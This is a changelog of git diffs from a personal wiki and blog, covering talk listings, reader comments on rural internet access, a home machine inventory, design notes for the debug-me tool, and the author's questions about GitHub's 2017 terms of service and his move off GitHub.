Recent changes to this wiki:

add talk
diff --git a/talks.mdwn b/talks.mdwn
index a19524f..8bc42d5 100644
--- a/talks.mdwn
+++ b/talks.mdwn
@@ -105,4 +105,4 @@ by others.
 ## Libreplanet 2017, MIT
 
 * "securely backing up gpg private keys.. to the cloud‽"
-  March 26th 16:35
+  - [video](https://media.libreplanet.org/u/libreplanet/m/securely-backing-up-gpg-private-keys-to-the-cloud/)

Added a comment: wifi !
diff --git a/blog/entry/end_of_an_era/comment_3_2224279f5914e56f9c66c67645e74004._comment b/blog/entry/end_of_an_era/comment_3_2224279f5914e56f9c66c67645e74004._comment
new file mode 100644
index 0000000..035f9ac
--- /dev/null
+++ b/blog/entry/end_of_an_era/comment_3_2224279f5914e56f9c66c67645e74004._comment
@@ -0,0 +1,13 @@
+[[!comment format=mdwn
+ username="i@39b592a99fca04bf1d9fe736fdeb750089c19f24"
+ nickname="i"
+ avatar="http://cdn.libravatar.org/avatar/01aca4d340834af92eebe27a4c734de3"
+ subject="wifi !"
+ date="2017-03-23T17:02:02Z"
+ content="""
+As anarcat points out you can probably cover that distance with wifi. In Catalonia we have a huge commons network ([guifi.net][]) of more than 32.000 nodes with 16+ mile links and several optical fiber towns as well.
+
+[guifi.net]: https://guifi.net/
+
+Don't you have any wifi/wimax (LMDS) provider on your zone? The price and power consumption will be lower and the bandwidth and latency much better.
+"""]]

update
diff --git a/boxen.mdwn b/boxen.mdwn
index e904a9e..115afbf 100644
--- a/boxen.mdwn
+++ b/boxen.mdwn
@@ -12,15 +12,15 @@ Mostly mythical creatures.
 
 * [[darkstar]] {*}
 * [[gnu]] {*}
-* wildebeest (spare for gnu)
 * kiwi {*} (Anna's)
 * aquamiser2 {*} (Mark's)
-* garlic {*} (Maggie's)
 * [[kodama]]
 * [[phoenix]]
 * [[dragon]]
 * corvid
 * kraken
+* wildebeest
+* garlic (Maggie's)
 
 ## servers
 
@@ -39,9 +39,11 @@ Mostly birds.
 * [[finch]]
 * [[pell]] {*}
 * orca
-* [[clam]] {*}
 * [[diatom]]
 * [[elephant]] {*}
+* [[clam]] {*}
+* [[mayfly]] {*}
+* [[oyster]] {*}
 
 ## small machines
 
@@ -51,6 +53,7 @@ Mostly birds.
 * snail
 * [[stick]]
 * [[honeybee]] {*}
+* [[chip] {*}
 
 ## phones
 
diff --git a/boxen/chip.mdwn b/boxen/chip.mdwn
new file mode 100644
index 0000000..ca80868
--- /dev/null
+++ b/boxen/chip.mdwn
@@ -0,0 +1,4 @@
+PocketCHIP
+
+Runs Debian but I have not tried to install it from scratch yet, so it's
+not a clean install.
diff --git a/boxen/dragon.mdwn b/boxen/dragon.mdwn
index ab56b7c..6dbba30 100644
--- a/boxen/dragon.mdwn
+++ b/boxen/dragon.mdwn
@@ -1,7 +1,12 @@
+Librem 13 laptop, used as an alternate for my main laptop when traveling,
+or doing heavy CPU tasks (since it has a working fan).
+
+----
+
+### Previously
+
 Dragon is my old laptop, with a failing keyboard. Currently I use it as a
 print and ups server. It's also a tftp server (for machines that can't use
 tftp-hpa).
 
 It runs from a 1 gb flash disk, connected via a CF to IDE adapter.
-
-Dragon is currently down.
diff --git a/boxen/dragonfly.mdwn b/boxen/dragonfly.mdwn
index 0fd10b5..7e94a73 100644
--- a/boxen/dragonfly.mdwn
+++ b/boxen/dragonfly.mdwn
@@ -1,4 +1,4 @@
-Dragonfly is a WRT54GL that is the main access point for my house.
+Dragonfly is a WRT54GL that was the main access point for my house.
 
 Its access point is `00:1A:70:D6:D7:6C`, and its ESSID is
 'kitenet.net/wifi' on channel 1.
diff --git a/boxen/gnu.mdwn b/boxen/gnu.mdwn
index d7b2491..23c0417 100644
--- a/boxen/gnu.mdwn
+++ b/boxen/gnu.mdwn
@@ -1,8 +1,11 @@
 [[!meta title="Debian Linux on the Dell Mini 9"]]
 
-Gnu is my Dell Inspiron Mini 9. This page details getting Debian working on
+Gnu was my Dell Inspiron Mini 9. This page details getting Debian working on
 this machine, which comes pre-loaded with Ubuntu.
 
+(These days, I have a different box named GNU that is a Lenovo laptop.
+Used as the house's MPD server.)
+
 [[!toc ]]
 
 ## Installation
diff --git a/boxen/leech.mdwn b/boxen/leech.mdwn
index 7bfc040..85b7d1c 100644
--- a/boxen/leech.mdwn
+++ b/boxen/leech.mdwn
@@ -1 +1 @@
-Sheevaplug
+Sheevaplug. My dialup gateway.
diff --git a/boxen/mayfly.mdwn b/boxen/mayfly.mdwn
new file mode 100644
index 0000000..c2b75f4
--- /dev/null
+++ b/boxen/mayfly.mdwn
@@ -0,0 +1,5 @@
+Spare VM at cloudatcost. Tor bridge.
+
+This system is untrusted; it is used only for experimentation and services
+using untrusted data that I don't mind losing. The provider has been known
+to lose data in the past.
diff --git a/boxen/oyster.mdwn b/boxen/oyster.mdwn
new file mode 100644
index 0000000..c2b75f4
--- /dev/null
+++ b/boxen/oyster.mdwn
@@ -0,0 +1,5 @@
+Spare VM at cloudatcost. Tor bridge.
+
+This system is untrusted; it is used only for experimentation and services
+using untrusted data that I don't mind losing. The provider has been known
+to lose data in the past.

other users
diff --git a/code/debug-me.mdwn b/code/debug-me.mdwn
index c336753..882aec0 100644
--- a/code/debug-me.mdwn
+++ b/code/debug-me.mdwn
@@ -165,3 +165,13 @@ distributions. It should also be as easy as possible to install manually.
 It may be helpful for programs to bundle `debug-me`, at least
 until the standalone `debug-me` is widely available. For example, I can
 imagine including it in the standalone git-annex bundles.
+
+#### other uses
+
+Something like this could be used in a few other ways than debugging:
+
+* Let anyone connect in watch-only mode. Could be used for
+  broadcasting both debugging sessions and other activity.
+* Moderated mode where N people connect and M of them need to approve
+  an action before it's accepted. Could be used to add security, or for
+  pair programming where both in the pair need to agree what to do.

Added a comment: wifi?
diff --git a/blog/entry/end_of_an_era/comment_2_eca2f57b0afee52773a49d0afae33be5._comment b/blog/entry/end_of_an_era/comment_2_eca2f57b0afee52773a49d0afae33be5._comment
new file mode 100644
index 0000000..ec6f209
--- /dev/null
+++ b/blog/entry/end_of_an_era/comment_2_eca2f57b0afee52773a49d0afae33be5._comment
@@ -0,0 +1,11 @@
+[[!comment format=mdwn
+ username="anarcat@2247195311694be5ed7cb48c341c2c9883b26686"
+ nickname="anarcat"
+ avatar="http://cdn.libravatar.org/avatar/4ad594c1e13211c1ad9edb81ce5110b7"
+ subject="wifi?"
+ date="2017-03-17T00:16:58Z"
+ content="""
+\"a few miles\" away seems like something that could be bridged with a high speed WiFi link. at the montreal mesh, we have successfully built a 3km link using 5GHz frequencies. this was done with two Ubiquity Powerbeam M5-400-ISO devices. it's obviously line of sight and unidirectional links, but it works well, from what i've heard.
+
+some basic docs are [here](https://wiki.reseaulibre.ca/nodes/nadjaf/) and [here](https://wiki.reseaulibre.ca/nodes/amman/), i can dig out more if you're interested... 
+"""]]

Added a comment
diff --git a/blog/entry/end_of_an_era/comment_1_b35fcdc43d44d831b20d748c1ec29cb3._comment b/blog/entry/end_of_an_era/comment_1_b35fcdc43d44d831b20d748c1ec29cb3._comment
new file mode 100644
index 0000000..a17f516
--- /dev/null
+++ b/blog/entry/end_of_an_era/comment_1_b35fcdc43d44d831b20d748c1ec29cb3._comment
@@ -0,0 +1,14 @@
+[[!comment format=mdwn
+ username="kzwork@fc9840c54b25a443d3c2865ce991231b33b8196b"
+ nickname="kzwork"
+ avatar="http://cdn.libravatar.org/avatar/2f26e4f64eb5657f7d260bda02c7ba45"
+ subject="comment 1"
+ date="2017-03-16T23:12:17Z"
+ content="""
+If you have some wind around, you can have additional power source with wind generator.
+
+See this guy- did an amazing job for couple of bucks
+<http://www.mdpub.com/Wind_Turbine/>
+
+as a suplementary to your solar panels
+"""]]

fix feed url
diff --git a/grep.mdwn b/grep.mdwn
index 00fe74b..07b72b4 100644
--- a/grep.mdwn
+++ b/grep.mdwn
@@ -8,5 +8,5 @@ on the net.
 List of feeds:
 
 * [[!aggregate expirecount=25 name="music" feedurl="http://libre.fm/rdf.php?fmt=rss&page=%2Fuser%2Fjoeyhess%2Frecent-tracks" url="http://libre.fm/user/joeyhess"]]
-* [[!aggregate expirecount=25 name="identi.ca posts" feedurl="https://pump2rss.com/feed/joeyh@identi.ca.atom" url="http://identi.ca/joeyh"]]
+* [[!aggregate expirecount=25 name="identi.ca posts" feedurl="https://tmp.joeyh.name/pump.atom" url="http://identi.ca/joeyh"]]
 * [[!aggregate expirecount=25 name="books" feedurl="http://www.goodreads.com/review/list_rss/2159448?key=afd7e8432b3f9e33edab442a7c94e95849af4527&shelf=currently-reading" url="http://www.goodreads.com/user/show/2159448"]]

blog update
diff --git a/blog/entry/end_of_an_era.mdwn b/blog/entry/end_of_an_era.mdwn
new file mode 100644
index 0000000..6876f1c
--- /dev/null
+++ b/blog/entry/end_of_an_era.mdwn
@@ -0,0 +1,31 @@
+I'm at home downloading hundreds of megabytes of stuff.
+This is the first time I've been in position of "at home" + "reasonably fast
+internet" since I moved here in 2012. It's weird!
+
+[[!img pics/satdish1.jpg alt="Satellite internet dish with solar panels in foreground"]]
+
+While I was renting here, I didn't mind dialup much. In a way it helps
+to focus the mind and build interesting stuff. But since I bought the
+house, the prospect of only dialup at home ongoing became more painful.
+
+While I hope to get on the fiber line that's only a few miles away
+eventually, I have not convinced that ISP to build out to me yet. Not
+enough neighbors. So, satellite internet for now.
+
+[[!img pics/satsignal.png alt="9.1 dB SNR"]]
+
+[[!img pics/satspeed.png alt="speedtest results: 15 megabit down / 4.5 up with significant variation"]]
+
+Dish seems well aligned, speed varies a lot, but is easily
+hundreds of times faster than dialup. Latency is 2x dialup.
+
+The equipment uses more power than my laptop, so with the current solar
+panels, I anticipate using it only 6-9 months of the year. So I may be back
+to dialup most days come winter, until I get around to adding more PV
+capacity.
+
+It seems very cool that my house can capture sunlight and use it to beam
+signals 20 thousand miles into space. Who knows, perhaps there will even be
+running water one day.
+
+[[!img pics/satdish2.jpg alt="Satellite dish"]]
diff --git a/blog/pics/satdish1.jpg b/blog/pics/satdish1.jpg
new file mode 100644
index 0000000..b2dc63e
Binary files /dev/null and b/blog/pics/satdish1.jpg differ
diff --git a/blog/pics/satdish2.jpg b/blog/pics/satdish2.jpg
new file mode 100644
index 0000000..ad0cfc9
Binary files /dev/null and b/blog/pics/satdish2.jpg differ
diff --git a/blog/pics/satsignal.png b/blog/pics/satsignal.png
new file mode 100644
index 0000000..1422d7a
Binary files /dev/null and b/blog/pics/satsignal.png differ
diff --git a/blog/pics/satspeed.png b/blog/pics/satspeed.png
new file mode 100644
index 0000000..8e7ce0f
Binary files /dev/null and b/blog/pics/satspeed.png differ

libreplanet schedule
diff --git a/blog/entry/Presenting_at_LibrePlanet_2017.mdwn b/blog/entry/Presenting_at_LibrePlanet_2017.mdwn
index 6cdc637..8e784bd 100644
--- a/blog/entry/Presenting_at_LibrePlanet_2017.mdwn
+++ b/blog/entry/Presenting_at_LibrePlanet_2017.mdwn
@@ -47,3 +47,5 @@ time to perhaps speak at it.
 I'll be giving some varient of the keysafe talk from Linux.Conf.Au.
 By the way, videos of my keysafe and propellor talks at Linux.Conf.Au 
 are now available, see the [[talks]] page.
+
+<https://libreplanet.org/2017/program/>
diff --git a/talks.mdwn b/talks.mdwn
index d8e72a6..a19524f 100644
--- a/talks.mdwn
+++ b/talks.mdwn
@@ -105,4 +105,4 @@ by others.
 ## Libreplanet 2017, MIT
 
 * "securely backing up gpg private keys.. to the cloud‽"
-  March 25th/26th
+  March 26th 16:35

proof truncation
diff --git a/code/debug-me.mdwn b/code/debug-me.mdwn
index 6edabd4..c336753 100644
--- a/code/debug-me.mdwn
+++ b/code/debug-me.mdwn
@@ -122,6 +122,18 @@ However, editors like vim that update a cursor position indicator as
 text is added will often have inputs rejected. debug-me could optionally
 beep or flash the screen when an input has been rejected.
 
+##### proof truncation
+
+A proof can be truncated at any point in the chain and still be a valid
+proof of what happened in the session up to that point.
+
+One use case for this is that a developer might run a command to display
+known sensitive data (eg `.ssh/id_rsa`).
+
+An interface to truncate a proof could also upload the truncated version of
+it to a server. There would need to be a way for the user to to remove the
+full proof from the server.
+
 #### interface
 
 Interface is as close to a ssh session as possible.

comment
diff --git a/blog/entry/removing_everything_from_github/comment_2_515f3a861997867c34f7c200fe23168b._comment b/blog/entry/removing_everything_from_github/comment_2_515f3a861997867c34f7c200fe23168b._comment
new file mode 100644
index 0000000..58f04c7
--- /dev/null
+++ b/blog/entry/removing_everything_from_github/comment_2_515f3a861997867c34f7c200fe23168b._comment
@@ -0,0 +1,17 @@
+[[!comment format=mdwn
+ username="joey"
+ subject="""comment 2"""
+ date="2017-03-03T17:37:06Z"
+ content="""
+I don't know of any good way to do it. Ideally, git would have a way to
+signal a redirect from one mirror of a repository to another one, and could
+learn the new url.
+
+I have created empty repos on github with the same names as the deleted
+ones, and in their README put the url to use. Not an ideal solution as it
+could confuse people and scripts.
+
+In my case, all the projects were not hosted on github, only mirrored
+there (except for github-backup). So, googling will find their websites and
+git repos still.
+"""]]

Added a comment: removing github repos
diff --git a/blog/entry/removing_everything_from_github/comment_1_42830ab6235e14998e839846d403af9c._comment b/blog/entry/removing_everything_from_github/comment_1_42830ab6235e14998e839846d403af9c._comment
new file mode 100644
index 0000000..e41e75d
--- /dev/null
+++ b/blog/entry/removing_everything_from_github/comment_1_42830ab6235e14998e839846d403af9c._comment
@@ -0,0 +1,20 @@
+[[!comment format=mdwn
+ username="behemothchess@68d40d10cca36e721f782d1a8e1f012f50cb327b"
+ nickname="behemothchess"
+ avatar="http://cdn.libravatar.org/avatar/62fbef5eb5f683a2505dbb60af6a7682"
+ subject="removing github repos"
+ date="2017-03-03T07:03:36Z"
+ content="""
+Hello,
+
+do you know of any way to leave a pointer on github to the new location?  
+You are famous :-) so you can just put the links in your blog,
+but if anyone at all cares about my hacks they won't find it unless I tell them there.  
+But I couldn't find any way - the \"bio\" is only twitter-size, 
+and there's no other text field I see that's independent of the repos themselves so it would survive their removal.
+
+Thanks.
+
+
+
+"""]]

wording
diff --git a/blog/entry/what_I_would_ask_my_lawyers_about_the_new_Github_TOS.mdwn b/blog/entry/what_I_would_ask_my_lawyers_about_the_new_Github_TOS.mdwn
index 422014d..751e49c 100644
--- a/blog/entry/what_I_would_ask_my_lawyers_about_the_new_Github_TOS.mdwn
+++ b/blog/entry/what_I_would_ask_my_lawyers_about_the_new_Github_TOS.mdwn
@@ -39,7 +39,7 @@ Would they still have access to it under that license when the contract
 work was over? What does "affiliates" mean? Might it include other companies?
 
 Is it even legal for a TOS to require a license grant? Don't license grants
-normally involve some action on the licensor's part, like signing a
+normally involve an intentional action on the licensor's part, like signing a
 contract or writing a license down? All I did was loaded a webpage in a
 browser and saw on the page that by loading it, they say I've accepted the
 TOS. (I then set about [[removing_everything_from_Github]].)

typo
diff --git a/blog/entry/what_I_would_ask_my_lawyers_about_the_new_Github_TOS.mdwn b/blog/entry/what_I_would_ask_my_lawyers_about_the_new_Github_TOS.mdwn
index 06161a3..422014d 100644
--- a/blog/entry/what_I_would_ask_my_lawyers_about_the_new_Github_TOS.mdwn
+++ b/blog/entry/what_I_would_ask_my_lawyers_about_the_new_Github_TOS.mdwn
@@ -129,7 +129,7 @@ this license if it was being analized in a courtroom?
 > through GitHub's functionality. You may grant further rights if you adopt
 > a license.
 
-This paragraph seems entirely innocious. So, what does your keen layer mind
+This paragraph seems entirely innocious. So, what does your keen lawyer mind
 see in it that I don't?
 
 How sure are you about your answers to all this? We're fairly sure we know

typo
diff --git a/blog/entry/what_I_would_ask_my_lawyers_about_the_new_Github_TOS.mdwn b/blog/entry/what_I_would_ask_my_lawyers_about_the_new_Github_TOS.mdwn
index b0ceffa..06161a3 100644
--- a/blog/entry/what_I_would_ask_my_lawyers_about_the_new_Github_TOS.mdwn
+++ b/blog/entry/what_I_would_ask_my_lawyers_about_the_new_Github_TOS.mdwn
@@ -78,7 +78,7 @@ to run as part of the process of rendering their website?
 
 Suppose that Github modified my software, does not distribute the modified
 version, but converts it to javascipt code and distributes that to their
-users to run as part of the process of rendering their website? If my
+users to run as part of the process of rendering their website. If my
 software is AGPL licensed, they would be in violation of that license, but
 doesn't this additional license allow them to modify and distribute my
 software in such a way?

update
diff --git a/blog/entry/what_I_would_ask_my_lawyers_about_the_new_Github_TOS.mdwn b/blog/entry/what_I_would_ask_my_lawyers_about_the_new_Github_TOS.mdwn
index 298a7bc..b0ceffa 100644
--- a/blog/entry/what_I_would_ask_my_lawyers_about_the_new_Github_TOS.mdwn
+++ b/blog/entry/what_I_would_ask_my_lawyers_about_the_new_Github_TOS.mdwn
@@ -36,7 +36,7 @@ affiliates, directors, subsidiaries, contractors, licensors, officers, agents,
 and employees". Does this mean that if someone say, does some brief
 contracting with Github, that they get my software under this license?
 Would they still have access to it under that license when the contract
-work was over?
+work was over? What does "affiliates" mean? Might it include other companies?
 
 Is it even legal for a TOS to require a license grant? Don't license grants
 normally involve some action on the licensor's part, like signing a

markdown
diff --git a/blog/entry/what_I_would_ask_my_lawyers_about_the_new_Github_TOS.mdwn b/blog/entry/what_I_would_ask_my_lawyers_about_the_new_Github_TOS.mdwn
index 55abaf7..298a7bc 100644
--- a/blog/entry/what_I_would_ask_my_lawyers_about_the_new_Github_TOS.mdwn
+++ b/blog/entry/what_I_would_ask_my_lawyers_about_the_new_Github_TOS.mdwn
@@ -15,7 +15,7 @@ If I were looking over the TOS with my lawyers, I'd ask these questions...
 
 ----
 
-> 4. License Grant to Us
+> 4  License Grant to Us
 
 This seems to be saying that I'm granting an additional license to my
 software to Github. Is that right or does "license grant" have some other
@@ -100,7 +100,7 @@ they want to my software?
 
 ----
 
-> 5. License Grant to Other Users
+> 5  License Grant to Other Users
 
 > Any Content you post publicly, including issues, comments, and
 > contributions to other Users' repositories, may be viewed by others. By

sections
diff --git a/blog/entry/what_I_would_ask_my_lawyers_about_the_new_Github_TOS.mdwn b/blog/entry/what_I_would_ask_my_lawyers_about_the_new_Github_TOS.mdwn
index 3e5c1f4..55abaf7 100644
--- a/blog/entry/what_I_would_ask_my_lawyers_about_the_new_Github_TOS.mdwn
+++ b/blog/entry/what_I_would_ask_my_lawyers_about_the_new_Github_TOS.mdwn
@@ -13,6 +13,8 @@ important indeed, and not worth taking risks with.
 
 If I were looking over the TOS with my lawyers, I'd ask these questions...
 
+----
+
 > 4. License Grant to Us
 
 This seems to be saying that I'm granting an additional license to my
@@ -96,6 +98,8 @@ If that hypothetical Github App Store doesn't sell apps, but licenses
 access to them for money, would that be allowed under this license that
 they want to my software?
 
+----
+
 > 5. License Grant to Other Users
 
 > Any Content you post publicly, including issues, comments, and

update
diff --git a/blog/entry/what_I_would_ask_my_lawyers_about_the_new_Github_TOS.mdwn b/blog/entry/what_I_would_ask_my_lawyers_about_the_new_Github_TOS.mdwn
index a5f8ce8..3e5c1f4 100644
--- a/blog/entry/what_I_would_ask_my_lawyers_about_the_new_Github_TOS.mdwn
+++ b/blog/entry/what_I_would_ask_my_lawyers_about_the_new_Github_TOS.mdwn
@@ -132,6 +132,8 @@ How sure are you about your answers to all this? We're fairly sure we know
 how well the GPL holds up in court; how well would your interpretation of
 all this hold up?
 
+What questions have I forgotten to ask?
+
 ----
 
 And finally, the last question I'd be asking my lawyers:

blog update
diff --git a/blog/entry/what_I_would_ask_my_lawyers_about_the_new_Github_TOS.mdwn b/blog/entry/what_I_would_ask_my_lawyers_about_the_new_Github_TOS.mdwn
new file mode 100644
index 0000000..a5f8ce8
--- /dev/null
+++ b/blog/entry/what_I_would_ask_my_lawyers_about_the_new_Github_TOS.mdwn
@@ -0,0 +1,140 @@
+The Internet saw Github's new TOS yesterday and collectively shrugged.
+
+That's weird..
+
+I don't have any lawyers, but the way Github's new TOS is written, I feel
+I'd need to consult with lawyers to understand how it might affect the
+license of my software if I hosted it on Github.
+
+And the license of my software is important to me, because it is the legal
+framework within which my software lives or dies. If I didn't care about my
+software, I'd be able to shrug this off, but since I do it seems very
+important indeed, and not worth taking risks with.
+
+If I were looking over the TOS with my lawyers, I'd ask these questions...
+
+> 4. License Grant to Us
+
+This seems to be saying that I'm granting an additional license to my
+software to Github. Is that right or does "license grant" have some other
+legal meaning?
+
+If the Free Software license I've already licensed my software under
+allows for everything in this "License Grant to Us", 
+would that be sufficient, or would my software still be
+licenced under two different licences?
+
+There are violations of the GPL that can revoke someone's access to software
+under that license. Suppose that Github took such an action with my software,
+and their GPL license was revoked. Would they still have a license to my
+software under this "License Grant to Us" or not?
+
+"Us" is actually defined earlier as "GitHub, Inc., as well as our
+affiliates, directors, subsidiaries, contractors, licensors, officers, agents,
+and employees". Does this mean that if someone say, does some brief
+contracting with Github, that they get my software under this license?
+Would they still have access to it under that license when the contract
+work was over?
+
+Is it even legal for a TOS to require a license grant? Don't license grants
+normally involve some action on the licensor's part, like signing a
+contract or writing a license down? All I did was loaded a webpage in a
+browser and saw on the page that by loading it, they say I've accepted the
+TOS. (I then set about [[removing_everything_from_Github]].)
+
+Github's old TOS was not structured as a license grant. What reasons might
+they have for structuring this TOS in such a way?
+
+Am I asking too many questions only 4 words into this thing? Or not enough?
+
+> Your Content belongs to you, and you are responsible for Content you post
+> even if it does not belong to you. However, we need the legal right to do
+> things like host it, publish it, and share it. You grant us and our legal
+> successors the right to store and display your Content and make
+> incidental copies as necessary to render the Website and provide the
+> Service.
+
+If this is a software license, the wording seems rather vague compared
+with other software licenses I've read. How much wiggle room is built
+into that wording? 
+
+What are the chances that, if we had a dispute and this came before a
+judge, that Github's laywers would be able to find a creative reading
+of this that makes "do things like" include whatever they want?
+
+Suppose that my software is javascript code or gets compiled to javascript
+code. Would this let Github serve up the javascript code for their users
+to run as part of the process of rendering their website?
+
+> That means you're giving us the right to do things like reproduce your
+> content (so we can do things like copy it to our database and make
+> backups); display it (so we can do things like show it to you and other
+> users); modify it (so our server can do things like parse it into a
+> search index); distribute it (so we can do things like share it with
+> other users); and perform it (in case your content is something like
+> music or video).
+
+Suppose that Github modified my software, does not distribute the modified
+version, but converts it to javascipt code and distributes that to their
+users to run as part of the process of rendering their website? If my
+software is AGPL licensed, they would be in violation of that license, but
+doesn't this additional license allow them to modify and distribute my
+software in such a way?
+
+> This license does not grant GitHub the right to sell your Content or
+> otherwise distribute it outside of our Service.
+
+I see that "Service" is defined as "the applications, software, products, and
+services provided by GitHub". Does that mean at the time I accept the TOS,
+or at any point in the future?
+
+If Github tomorrow starts providing say, an App Store service, that
+necessarily involves distribution of software to others, and they put my
+software in it, would that be allowed by this or not?
+
+If that hypothetical Github App Store doesn't sell apps, but licenses
+access to them for money, would that be allowed under this license that
+they want to my software?
+
+> 5. License Grant to Other Users
+
+> Any Content you post publicly, including issues, comments, and
+> contributions to other Users' repositories, may be viewed by others. By
+> setting your repositories to be viewed publicly, you agree to allow
+> others to view and "fork" your repositories (this means that others may
+> make their own copies of your Content in repositories they control).
+
+Let's say that company Foo does something with my software that
+violates its GPL license and the license is revoked. So they no longer are
+allowed to copy my software under the GPL, but it's there on Github. 
+Does this "License Grant to Other Users" give them a different license
+under which they can still copy my software?
+
+The word "fork" has a particular meaning on Github, which often includes
+modification of the software in a repository. Does this mean that other
+users could modify my software, even if its regular license didn't
+allow them to modify it or had been revoked?
+
+How would this use of a platform-specific term "fork" be interpreted in
+this license if it was being analized in a courtroom?
+
+> If you set your pages and repositories to be viewed publicly, you grant
+> each User of GitHub a nonexclusive, worldwide license to access your
+> Content through the GitHub Service, and to use, display and perform your
+> Content, and to reproduce your Content solely on GitHub as permitted
+> through GitHub's functionality. You may grant further rights if you adopt
+> a license.
+
+This paragraph seems entirely innocious. So, what does your keen layer mind
+see in it that I don't?
+
+How sure are you about your answers to all this? We're fairly sure we know
+how well the GPL holds up in court; how well would your interpretation of
+all this hold up?
+
+----
+
+And finally, the last question I'd be asking my lawyers:
+
+**What's your bill come to? That much? Is using Github worth that much to
+me?**

update
diff --git a/blog/entry/removing_everything_from_github.mdwn b/blog/entry/removing_everything_from_github.mdwn
index 6b583f8..086bdb0 100644
--- a/blog/entry/removing_everything_from_github.mdwn
+++ b/blog/entry/removing_everything_from_github.mdwn
@@ -9,6 +9,12 @@ response. The Free Software Foundation was also talking with them about it.
 It seems that Github doesn't care or has some reason to want to effectively
 neuter copyleft software licenses.
 
+The possibility that a Github TOS change could force a change to the license of
+your software hosted there, and that it's complicated enough that I'd have to
+hire a lawyer to know for sure, makes Github not worth bothering to use. 
+
+Github's value proposition was never very high for me, and went negative now.
+
 I am deleting my repositories from Github at this time.
 If you used the Github mirrors for
 [git-annex](http://source.git-annex.branchable.com/), 

update
diff --git a/blog/entry/removing_everything_from_github.mdwn b/blog/entry/removing_everything_from_github.mdwn
index 96155d9..6b583f8 100644
--- a/blog/entry/removing_everything_from_github.mdwn
+++ b/blog/entry/removing_everything_from_github.mdwn
@@ -17,6 +17,9 @@ If you used the Github mirrors for
 [etckeeper](http://source.etckeeper.branchable.com/),
 [myrepos](http://source.myrepos.branchable.com/),
 click on the links for the non-Github repos ([git.joeyh.name](https://git.joeyh.name/) also has mirrors).
+Also, github-backup has a 
+[new website and repository](https://github-backup.branchable.com/) 
+off of github.
 (There's an oncoming severe weather event here, so it
 may take some time before I get everything deleted and cleaned up.)
 

new website for github-backup
diff --git a/blog/entry/announcing_github-backup.mdwn b/blog/entry/announcing_github-backup.mdwn
index a7e96c2..89ac80a 100644
--- a/blog/entry/announcing_github-backup.mdwn
+++ b/blog/entry/announcing_github-backup.mdwn
@@ -1,7 +1,7 @@
 Partly as a followup to [[a Github survey]], and partly because
 I had a free evening and the need to write more haskell code, any haskell
 code, I present to you,
-**[github-backup](https://github.com/joeyh/github-backup)**.
+**[[code/github-backup]]**.
 
 github-backup is a simple tool you run in a git repository you cloned from
 Github. It backs up everything Github knows about the repository, including
diff --git a/code/github-backup.mdwn b/code/github-backup.mdwn
index 19531f8..7345210 100644
--- a/code/github-backup.mdwn
+++ b/code/github-backup.mdwn
@@ -1,7 +1,5 @@
 Backs up everything github knows about a repository, to the repository.
 
-Available in Debian, or <https://github.com/joeyh/github-backup>
-
-## News
+<https://github-backup.branchable.com>
 
 [[!inline pages="code/github-backup/news/* and !*/Discussion" show="3"]]
diff --git a/code/github-backup/news/new_website.mdwn b/code/github-backup/news/new_website.mdwn
new file mode 100644
index 0000000..a546c8b
--- /dev/null
+++ b/code/github-backup/news/new_website.mdwn
@@ -0,0 +1,6 @@
+github has moved away from github, to a new website:
+<https://github-backup.branchable.com/>
+
+This will be the last post to this RSS feed, so if you are subscribed to
+it, please update your subscription to use the new feed:
+<https://github-backup.branchable.com/news/index.rss>
diff --git a/code/github-backup/news/version_1.20160522.mdwn b/code/github-backup/news/version_1.20160522.mdwn
deleted file mode 100644
index fb4a64b..0000000
--- a/code/github-backup/news/version_1.20160522.mdwn
+++ /dev/null
@@ -1,12 +0,0 @@
-github-backup 1.20160522 released with [[!toggle text="these changes"]]
-[[!toggleable text="""
-   * Work around git weirdness in handling of relative path to GIT\_INDEX\_FILE
-     when in a subdirectory of the repository.
-   * Various updates to internal git and utility libraries shared
-     with git-annex.
-   * debian: Add lintian overrides for rpath.
-   * debian: Bump standards-version.
-   * Makefile: Pass LDFLAGS, CFLAGS, and CPPFLAGS through ghc and on to
-     ld, cc, and cpp. This lets the Debian package build with various
-     hardening options. Although their benefit to a largely haskell program
-     is unknown."""]]
\ No newline at end of file
diff --git a/code/github-backup/news/version_1.20160922.mdwn b/code/github-backup/news/version_1.20160922.mdwn
deleted file mode 100644
index b9e1464..0000000
--- a/code/github-backup/news/version_1.20160922.mdwn
+++ /dev/null
@@ -1,11 +0,0 @@
-github-backup 1.20160922 released with [[!toggle text="these changes"]]
-[[!toggleable text="""
-   * Increase base bounds to 4.8 to get mapM\_ etc that works on Vector.
-   * Recommended build method is now to use stack, for more reliable builds.
-   * Explicitly list modules and other files in github-backup.cabal.
-   * The hackage .tar.gz now omits the debian directory and may omit other
-     source files in the future; the purpose of that tarball is to make
-     stack/cabal install work, not to be a complete source distribution.
-     Use git repository to get complete source.
-   * Various updates to internal git and utility libraries shared
-     with git-annex."""]]
\ No newline at end of file
diff --git a/code/github-backup/news/version_1.20161110.mdwn b/code/github-backup/news/version_1.20161110.mdwn
deleted file mode 100644
index e736fdd..0000000
--- a/code/github-backup/news/version_1.20161110.mdwn
+++ /dev/null
@@ -1,6 +0,0 @@
-github-backup 1.20161110 released with [[!toggle text="these changes"]]
-[[!toggleable text="""
-   * Fix build with recent versions of the directory package.
-     Thanks, James McCoy.
-   * Various updates to internal git and utility libraries shared
-     with git-annex."""]]
\ No newline at end of file
diff --git a/code/github-backup/news/version_1.20161118.mdwn b/code/github-backup/news/version_1.20161118.mdwn
deleted file mode 100644
index 81a7226..0000000
--- a/code/github-backup/news/version_1.20161118.mdwn
+++ /dev/null
@@ -1,3 +0,0 @@
-github-backup 1.20161118 released with [[!toggle text="these changes"]]
-[[!toggleable text="""
-   * Fix build with recent versions of cabal."""]]
\ No newline at end of file
diff --git a/code/github-backup/news/version_1.20170221.mdwn b/code/github-backup/news/version_1.20170221.mdwn
deleted file mode 100644
index 9ff447e..0000000
--- a/code/github-backup/news/version_1.20170221.mdwn
+++ /dev/null
@@ -1,7 +0,0 @@
-github-backup 1.20170221 released with [[!toggle text="these changes"]]
-[[!toggleable text="""
-   * Updated to use github-0.15.
-   * Due to a regression in github-0.15, the pull request list is retrieved
-     without authentication.
-   * Various updates to internal git and utility libraries shared
-     with git-annex."""]]
\ No newline at end of file

link git.joeyh.name
diff --git a/blog/entry/removing_everything_from_github.mdwn b/blog/entry/removing_everything_from_github.mdwn
index 61e82bf..96155d9 100644
--- a/blog/entry/removing_everything_from_github.mdwn
+++ b/blog/entry/removing_everything_from_github.mdwn
@@ -16,9 +16,9 @@ If you used the Github mirrors for
